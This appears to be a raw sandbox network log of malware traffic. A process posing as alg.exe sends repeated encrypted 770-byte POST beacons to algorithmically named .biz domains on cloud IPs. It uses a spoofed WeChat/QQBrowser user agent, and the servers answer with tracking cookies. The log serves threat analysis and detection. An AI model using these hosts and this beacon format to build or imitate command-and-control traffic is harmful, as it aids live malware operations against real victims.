46	192.168.2.8	49778	34.211.97.45	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:53.006161928 CET	357	OUT	POST /uffuoumnttxpy HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vrrazpdh.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:53.006236076 CET	770	OUT	Data Raw: 71 0c 07 e0 68 4d 15 85 f6 02 00 00 01 00 87 d0 54 3f cf f7 a7 30 e6 15 5c 11 e0 d7 a9 0b a6 55 3a f2 18 88 85 9c 22 9d 32 cc 14 2c 91 39 b3 2b 8e 75 8f 2a 31 19 ef d5 89 b1 dd 54 0e 97 fa cf a5 c4 40 ef 12 2c ea c0 d9 8b b4 2f 16 83 cd b5 b2 85 Data Ascii: qhMT?0\U:"2,9+u*1T@,/+/OR3u}a+;wF}(Nv"~ASZe.uyr/(<`?pLJ@)9}O3\|jtdSG>8.Nstdls6tTirP]J>dcD<Lm
Oct 28, 2024 16:39:53.830769062 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3628a715ef4e42d9bb9ffd46f0072fd7\|155.94.241.188\|1730129993\|1730129993\|0\|1\|0; path=/; domain=.vrrazpdh.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49784	47.129.31.212	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:54.075061083 CET	357	OUT	POST /gqwbcjlstvkgaii HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ftxlah.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:54.075124025 CET	770	OUT	Data Raw: fd 24 6d 07 c6 18 e4 e7 f6 02 00 00 ff a2 db 54 8d 8a 66 b3 99 91 d6 23 17 33 18 d1 6b 30 04 39 b8 37 86 61 66 93 17 15 4f ef 4d 95 5e e7 57 3b 59 31 45 55 13 62 00 1b 0b 1a 6a bb 10 95 94 8f 22 f3 03 95 39 92 7c cd 61 bf f3 80 12 81 2f 79 31 36 Data Ascii: $mTf#3k097afOM^W;Y1EUbj"9\|a/y167V20jxE-9E3,>fL@OB4/CN-iVKx`Nz.yxTepB_2Qo#<+cx\Bwx
Oct 28, 2024 16:39:55.554821968 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=e54e99406ad3e99dcc6ba8da5766fea6\|155.94.241.188\|1730129995\|1730129995\|0\|1\|0; path=/; domain=.ftxlah.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	49790	13.251.16.150	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:55.575562954 CET	359	OUT	POST /ckjdvpvsbbnlmdkq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: typgfhb.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:55.575581074 CET	770	OUT	Data Raw: 9f 43 2f d5 d4 6d 90 4d f6 02 00 00 a7 26 90 b5 c1 78 12 ef 6b 1f 06 35 e0 c1 58 e1 8a 47 f4 32 ac 4c ed f7 fc df eb 9c 6d 76 44 43 1e 02 9f 63 73 43 70 e8 c3 f2 b7 d8 00 15 94 b7 69 45 93 7f 28 1e ff 78 0e 24 3a c8 52 86 74 cb b1 0c cb 1d 5f 4f Data Ascii: C/mM&xk5XG2LmvDCcsCpiE(x$:Rt_O.X .nP?5{gj8q{XgJFG o/ ad]fU~!;1llSxs{cu;TL5,d7&KOZ@H4R4&nkh=0>elhrNbX:npTInL
Oct 28, 2024 16:39:57.014138937 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=7e780623f71029e868cef236dc7f545f\|155.94.241.188\|1730129996\|1730129996\|0\|1\|0; path=/; domain=.typgfhb.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	49801	13.251.16.150	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:57.069655895 CET	359	OUT	POST /jbmsamrvojavxlcj HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: typgfhb.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:57.069691896 CET	770	OUT	Data Raw: 3f 7e 2a da e0 ff c1 09 f6 02 00 00 54 3f b4 d8 ca 3b 31 a5 76 02 8e 4e a6 0a 55 a4 9a d2 e0 3a ee 0e 73 3b 6e 8c bb a3 09 ae fd 15 9f 57 43 8d b9 16 ef 21 d5 ee 29 5d 7b 1d 06 9b 09 fa a5 7a cc bc 2b cd 22 66 34 25 da 69 66 80 86 61 30 51 9f 82 Data Ascii: ?~T?;1vNU:s;nWC!)]{z+"f4%ifa0Qn5tw\|"z=~OtX?/p\mHw&0pkvFxDv?>`v]4!mi}`>>Osi\)==7YNBWSf,:
Oct 28, 2024 16:39:58.467119932 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=332ae9d34d2b3d1c1167369432324c1c\|155.94.241.188\|1730129998\|1730129998\|0\|1\|0; path=/; domain=.typgfhb.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	49809	34.211.97.45	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:58.631761074 CET	354	OUT	POST /kbxlxbiccltxu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: esuzf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:58.631762028 CET	770	OUT	Data Raw: fb c7 cb b4 86 1a 33 9b f6 02 00 00 18 84 1b fa 5e 37 48 90 58 f5 cf 5e 8c 53 c9 66 e1 46 0c b6 12 38 e5 3d a8 df 7c 6b 92 00 e9 cb f7 48 fc 8c a3 2c c5 bf 3d a9 56 d6 cc 20 dd 9c eb cd 90 c1 e5 d6 17 b3 77 2d 17 a2 e9 c8 69 df 82 58 0e 9f 0e 6a Data Ascii: 3^7HX^SfF8=\|kH,=V w-iXjFXm$+uCz^q}}y:7K)z\| \|dV24t@W?Wow$X^lp,omtegT69"eJr5tfD+\?f^Z?t
Oct 28, 2024 16:39:59.464253902 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:39:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=bba8ec1d75a19d389defc7707031bffe\|155.94.241.188\|1730129999\|1730129999\|0\|1\|0; path=/; domain=.esuzf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	49812	3.94.10.34	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:39:59.491143942 CET	352	OUT	POST /pnwiqbr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gvijgjwkh.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:39:59.491179943 CET	770	OUT	Data Raw: 06 41 4f 1b 41 db dc a1 f6 02 00 00 70 b9 35 30 c6 f2 c9 70 29 ab 8f eb 6c 8e 0c 6e d8 d5 de 73 5b a6 6d 53 8d 25 b8 5e 09 27 a3 5d 7a 8a 52 0a 1d f6 ec 53 d5 3c 8e 92 43 0c 0b 85 d4 bc c2 80 00 8f 6d e5 01 19 f3 21 70 10 9d d2 57 3d 87 51 fa a9 Data Ascii: AOAp50p)lns[mS%^']zRS<Cm!pW=QFxQutD\0kEefh]V(\z2Qi9Y-euCX_p=iv~]{s.78E:1@[@#Rnue7XLx=R"w
Oct 28, 2024 16:40:00.155962944 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=d8b04a0ac60e576e04a6af4a3954176b\|155.94.241.188\|1730130000\|1730130000\|0\|1\|0; path=/; domain=.gvijgjwkh.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49818	18.246.231.120	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:00.181891918 CET	349	OUT	POST /unwprm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: qpnczch.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:00.181891918 CET	770	OUT	Data Raw: 15 03 da 23 d2 55 8a 5d f6 02 00 00 19 7f 9f 47 39 f9 63 ba 59 ff 18 5d 2e 19 dd 27 6b 87 16 68 ee 05 12 ac ef 3e 3c e7 c1 f6 ed c1 dd 5c 4d 98 fb 84 ed 42 1f 3d b0 62 dc 11 59 51 60 b2 0c f0 d5 b3 98 ab 17 a8 8d f4 81 f8 1a 74 5b c5 4d a3 49 5a Data Ascii: #U]G9cY].'kh><\MB=bYQ`t[MIZp9@pbSIOL(CF1~03no FS&{$J)s)0>!03HxjhOL{o^3&S&+l9a9},wJ6 v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	49824	18.246.231.120	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:01.012722015 CET	348	OUT	POST /hojjq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: qpnczch.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:01.012739897 CET	770	OUT	Data Raw: 24 91 27 be 1e 00 08 dc f6 02 00 00 48 20 7f 2a 0b aa 46 11 4e dc ea 15 f8 20 cc 55 67 9d 92 3a 4b 15 64 80 da 7b 4d 97 65 e9 50 02 5b d5 05 e4 f6 b3 71 f8 2c 3e 14 7c ac 84 9c 74 a7 18 0f 3b 44 b2 74 33 00 0a e0 04 ad 3c fd 50 da e9 7e 9e 8f 4e Data Ascii: $'H *FN Ug:Kd{MeP[q,>\|t;Dt3<P~Npq\|2VMa9KKioZv<SkoKP"fG<jplR^WW"L`V,C=FbZ!eGM90_gK'%T;Pb=qnt]t
Oct 28, 2024 16:40:01.836795092 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=d2c028c16da2520c80fc248cea5868ac\|155.94.241.188\|1730130001\|1730130001\|0\|1\|0; path=/; domain=.qpnczch.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	49830	3.254.94.185	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:01.887511015 CET	352	OUT	POST /mvntxvfsvcn HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: brsua.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:01.887556076 CET	770	OUT	Data Raw: 4e 49 55 66 03 70 4b 86 f6 02 00 00 5a 43 3b 04 b2 4e ca 29 14 7a 8e e9 e1 73 5f 13 cc 7e 7f ad 2b 4d b4 ce 42 4b 44 c9 c2 08 1b a3 ac 22 3b 9b 3e a7 d2 5f ed 5a de b8 b2 c8 0d 74 80 7c 41 d7 3f 54 7e ee 0d 1e 77 80 4f 19 fa 1a 18 d7 85 11 3b e4 Data Ascii: NIUfpKZC;N)zs_~+MBKD";>_Zt\|A?T~wO;:y_C/9e`h3pUUj`2fI2~<&{WYc"!<Z+6_mqvs5&s^,'s\|pbSU(
Oct 28, 2024 16:40:02.861530066 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=6f3441abc476089eb9749bf9d66c5ea5\|155.94.241.188\|1730130002\|1730130002\|0\|1\|0; path=/; domain=.brsua.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	49839	85.214.228.140	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:03.426528931 CET	345	OUT	POST /u HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: dlynankz.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:03.426572084 CET	770	OUT	Data Raw: d5 a7 b1 00 02 9e 95 3c f6 02 00 00 92 41 63 ae 45 24 d9 0e 0c 9f 2d 7e fb be c8 c4 41 d1 f1 f5 c4 4f e6 ce 3a 61 4f 49 cf fe 47 f6 2a 04 4c 67 0c d7 7e 6c 37 f9 74 8a 7c f0 fc e9 e5 15 c2 95 14 54 3b 66 35 ad 2a cd 9a 75 b3 bc 5a 39 3e a6 7e 5a Data Ascii: <AcE$-~AO:aOIGLg~l7t\|T;f5uZ9>~ZR332y~K"w%\|j'Pk Kc:xYYDYa}xT5)]ft\yV[(q}e~Kgc&$ZjH5J!h<FrA^0v
Oct 28, 2024 16:40:04.275613070 CET	166	IN	HTTP/1.1 404 Not Found Server: nginx/1.27.2 Date: Mon, 28 Oct 2024 15:40:04 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=20 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	49844	47.129.31.212	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:04.295520067 CET	346	OUT	POST /nfu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: oflybfv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:04.295558929 CET	770	OUT	Data Raw: 92 55 94 b1 7a af 91 db f6 02 00 00 96 b9 47 ab 77 46 09 63 db 8a b0 43 31 ee a2 5b dd 48 48 c6 97 9a 51 77 b3 43 b5 f6 81 c1 d5 50 06 26 b7 7f 11 85 ed 5d 9f 16 a9 90 a3 17 1a 35 7d 90 ff 87 65 cd 7e 1c b0 4b 61 84 35 41 08 4e 5d ea cd 8a f5 e6 Data Ascii: UzGwFcC1[HHQwCP&]5}e~Ka5AN]4.m9d}k;3~.(iH%':%tnM1~/Fr[Jdj;\|2n#Z>(TeOGBi(Bp!XAh!E}\eQ"1aJa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.8	49848	47.129.31.212	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:05.018404007 CET	354	OUT	POST /mkatgqdxmdo HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: oflybfv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:05.018416882 CET	770	OUT	Data Raw: 0a a4 25 a3 5d 00 4e ae f6 02 00 00 58 b3 98 54 95 7e 48 0a 0e b2 8f 6c 37 66 86 13 f0 64 c2 a7 dc 2b 3e 5d 0e 19 bc 4d 34 a5 b0 af e6 bf 72 65 5c 2d 47 ab ae 02 5b 94 fb 38 91 ee 85 60 fa 32 3d 42 0b 39 6b e5 e9 0a 1b 9b f6 f1 6e 56 04 e7 8e 2e Data Ascii: %]NXT~Hl7fd+>]M4re\-G[8`2=B9knV.yA}Om)<C\|/&[UM8cW4*C[n_k9&}]\|_MJ[<S6<#w:]V;XL.)ukM~[xjJ
Oct 28, 2024 16:40:06.478621960 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=a9d476561451a283e993b4aa7a717ae4\|155.94.241.188\|1730130006\|1730130006\|0\|1\|0; path=/; domain=.oflybfv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.8	49859	34.211.97.45	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:06.497925043 CET	350	OUT	POST /hdmytgvjj HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yhqqc.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:06.497961998 CET	770	OUT	Data Raw: f8 d0 83 a8 aa c3 cc a2 f6 02 00 00 9e 4f 3b 6e e0 8d 9d 0e 94 c7 97 34 dc 82 f8 77 2b de 2e 26 b6 1f 07 3d f6 93 19 31 1c 87 a8 2f 29 bd 3a 98 ca 1d 91 95 7b 29 f2 11 b2 63 6c 9a 30 c5 3f 40 ca 4e be 8b 0d e6 34 15 7f 95 2f 6a b4 a0 68 e6 3d ed Data Ascii: O;n4w+.&=1/):{)cl0?@N4/jh=Hq0g;^f[*jLYrTwy3vS.d_;xv1{.^T4a\p;2sqILi.D"lY03Ft\aiSr8y&F)#-W
Oct 28, 2024 16:40:07.326493025 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=739740256a97dd6167be54d812287b98\|155.94.241.188\|1730130007\|1730130007\|0\|1\|0; path=/; domain=.yhqqc.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.8	49865	47.129.31.212	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:07.350415945 CET	347	OUT	POST /ujmwq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: mnjmhp.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:07.350449085 CET	770	OUT	Data Raw: 04 61 09 45 ac 17 21 90 f6 02 00 00 8e e0 b8 f7 6a 8f c7 23 ca bd 0f 82 fa 14 39 bc 88 7c 77 52 05 cf 44 43 b5 d5 ab 92 21 53 78 ad ac 59 66 79 2a 29 87 07 01 45 7d c4 d0 80 11 75 b4 f5 66 5f e5 ab 9d 07 02 82 11 8e 78 fe e9 67 42 66 01 7b d4 b7 Data Ascii: aE!j#9\|wRDC!SxYfy*)E}uf_xgBf{es1[x[J\|mdy6PHahk=(8:12py30JI#Fi(c^0OJ\|RBjJ]F\Xmd\QTH='M1}8S
Oct 28, 2024 16:40:08.798305988 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=b137f944dc95a1361bfcdeaf6a321e06\|155.94.241.188\|1730130008\|1730130008\|0\|1\|0; path=/; domain=.mnjmhp.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.8	49874	18.208.156.248	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:08.890266895 CET	360	OUT	POST /pykblaurywsrgec HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: opowhhece.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:08.890290976 CET	770	OUT	Data Raw: a6 81 ca 13 bb 6d ce f6 f6 02 00 00 43 0a 93 3b 12 99 d6 7c bd 73 61 57 a0 65 37 f7 a8 7e b4 9c 5d 33 4c cb 56 d2 f5 00 55 94 0b cf eb 89 5f c8 b2 02 15 b4 77 1f 89 73 8e 5b 11 f4 b4 46 08 75 b0 74 33 56 ba 18 a0 56 f7 a1 77 9f 39 1d 09 e0 f9 6b Data Ascii: mC;\|saWe7~]3LVU_ws[Fut3VVw9kYU3ORvMVB<ZA*"M.T]]\|Ir T"`5:.~w)v&NjK2ZI4rM{N6f7D@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.8	49876	18.208.156.248	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:09.024033070 CET	358	OUT	POST /tccvualwjxprr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: opowhhece.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:09.024255037 CET	770	OUT	Data Raw: ec bb 5a 88 51 aa 6c f0 f6 02 00 00 b3 bb 75 4d 18 a8 f1 a4 7d a0 63 56 70 33 ed 7c a7 e0 d1 dc 52 14 fc 85 68 65 13 59 c7 6a 8c 43 04 e4 03 43 0b 18 16 da b8 06 9b 91 0f 4b 8e c7 d3 b1 97 88 6c 47 c7 9c c5 f9 37 40 6e 30 76 a3 81 b5 b2 48 f1 4f Data Ascii: ZQluM}cVp3\|RheYjCCKlG7@n0vHOU:I}JeQ)6R'V\r&84_44}TUx3>t?/L>uDD59ht P'=oO:_D
Oct 28, 2024 16:40:09.685441971 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=57faea1fb48559a84427d09f99e85505\|155.94.241.188\|1730130009\|1730130009\|0\|1\|0; path=/; domain=.opowhhece.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.8	49879	13.251.16.150	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:09.715883970 CET	346	OUT	POST /fcvl HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: jdhhbs.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
